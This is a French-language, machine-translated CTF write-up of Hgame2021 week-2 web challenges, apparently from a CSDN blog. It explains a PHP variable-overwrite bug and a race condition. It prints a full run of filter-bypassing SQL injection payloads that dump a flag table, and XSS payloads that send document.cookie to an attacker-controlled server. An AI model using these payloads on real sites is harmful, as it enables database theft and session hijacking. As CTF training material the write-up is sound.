Hgame2021 semaine2 web

Préface

La difficulté Web de la semaine2 est correcte, une couverture variable, une injection SQL, une compétition conditionnelle et un XSS. Parce que ce ne sera pas frontal. . . XSS n'est pas sorti. Découvrons aujourd'hui les WP et WP officiels des maîtres.

LazyDogR4U

Il y a www.zip, téléchargez-le et révisez le code. Si vous voulez obtenir le drapeau, vous en avez besoin if($_SESSION['username'] === 'admin'){
. Cependant, vous ne pouvez pas laisser la session être l'administrateur pendant la connexion normale, donc cette question est en fait inutile si vous vous connectez ou non.
Notez ici:

$filter = ["SESSION", "SEVER", "COOKIE", "GLOBALS"];

// 直接注册所有变量,这样我就能少打字力,芜湖~

foreach(array('_GET','_POST') as $_request){
    
    
    foreach ($$_request as $_k => $_v){
    
    
        foreach ($filter as $youBadBad){
    
    
            $_k = str_replace($youBadBad, '', $_k);
        }
        ${
    
    $_k} = $_v;
    }
}

Il y a une couverture variable, il existe deux types de postures, la posture normale est définitivement de contourner la double écriture, il suffit de couvrir la séance. La deuxième posture consiste à exécuter foreach sur get et post séparément. Get peut l' $filterécraser, puis post peut écraser la session à volonté. Les deux méthodes sont correctes, ce qui est relativement simple.

Le cadeau d'anniversaire de Liki

Concurrence conditionnelle, exécutez simplement avec bp, le point d'utilisation est le dernier, normal est l'échange, l'échange est réussi, puis le solde est déduit. À ce stade, vous ne pourrez plus échanger. Si les conditions sont compétitives, vous pouvez utiliser la dernière. Si vous utilisez plus rapidement, vous pouvez l'utiliser à nouveau avant de déduire le solde, et vous pouvez en utiliser davantage:
Insérez la description de l'image ici

200OK !!

Prenez un paquet et jetez-y un œil. Il s'agit d'une injection SQL dans le statut de server.php, et le filtrage officiel est:

['select', 'SELECT', 'from', 'FROM', 'union', 'UNION', 'where',
'WHERE', ' ']

Contournez simplement le cas directement, utilisez simplement / ** / pour contourner l'espace. Référence directe spécifique au WP officiel:

-1'/**/uniOn/**/seLect/**/database();#
# week2sqli
# 得到数据库为 week2sqli
-1'/**/uniOn/**/seLect/**/group_concat(table_name)/**/fRom/**/information_schem
a.tables/**/Where/**/table_schema='week2sqli';#
# f1111111144444444444g,status
# 得到数据库中的所有表名 发现存放 flag 的表名为 f1111111144444444444g
-1'/**/uniOn/**/seLect/**/group_concat(column_name)/**/fRom/**/information_sche
ma.columns/**/Where/**/table_name='f1111111144444444444g'/**/and/**/table_schem
a='week2sqli';#

# ffffff14gggggg
# 得到 flag 的字段名为 ffffff14gggggg
-1'/**/uniOn/**/seLect/**/ffffff14gggggg/**/fRom/**/f1111111144444444444g;#
# hgame{c0n9ratu1aTion5_yoU_FXXK_Up_tH3_5Q1}
# 得到 flag: hgame{c0n9ratu1aTion5_yoU_FXXK_Up_tH3_5Q1}

Publier sur zuckonit

Pour XSS, c'est encore trop beau, apprenez une vague. Mais cette question est en fait assez dommage: en fait, je n'étais qu'à un pas de me procurer le drapeau par erreur, mais je ne sais pas comment obtenir le drapeau.
Parlez-moi de mes pensées. Premièrement, le script sera remplacé par div, mais mon test a révélé que la base sera remplacée par le contrôle. Si elle est construite <scribasept>alert(1)</scribasept>, la fenêtre apparaîtra avec succès, mais je ne sais pas comment obtenir le cookie, et je suis fasciné par ce que fait le bot. .

Cette question consiste en fait à obtenir le cookie de l'administrateur, le md5 à 6 chiffres ci-dessous, à remplir et à soumettre, cela revient à l'administrateur de visiter cette page, alors pensez à un moyen de faire apparaître le cookie.
La façon de me connecter est comme ceci:

<sbasecript>window.open("hbasettp://xxx.xxx.xxx.xxx:xxx/"+document.cookie)</scbaseript>

Ensuite, soumettez et les vps peuvent recevoir des cookies. Bien entendu, le client utilisant bp peut également recevoir des cookies:
Insérez la description de l'image ici

Une autre façon consiste à utiliser la fonction d'événement en cas d'erreur, etc., vous pouvez constater que s'il y en a, le contenu autour de sera inversé:

123on456
654on321

Ainsi, la charge utile peut être inversée et la charge utile d'origine est obtenue après avoir été traitée comme ceci:


>")eikooc.tnemucod+'/pi-spv//'(nepo.wodniw"=rorreno 'x'=crs gmi<on

Ici ptth est également filtré, vous pouvez utiliser le protocole par défaut, // au lieu de http: //:

// C'est le protocole par défaut, et le protocole de la page courante est utilisé par défaut.

Vous pouvez également afficher le cookie et apprendre ce que vous avez appris.

Je suppose que tu aimes

Origine blog.csdn.net/rfrder/article/details/113818167
conseillé
Classement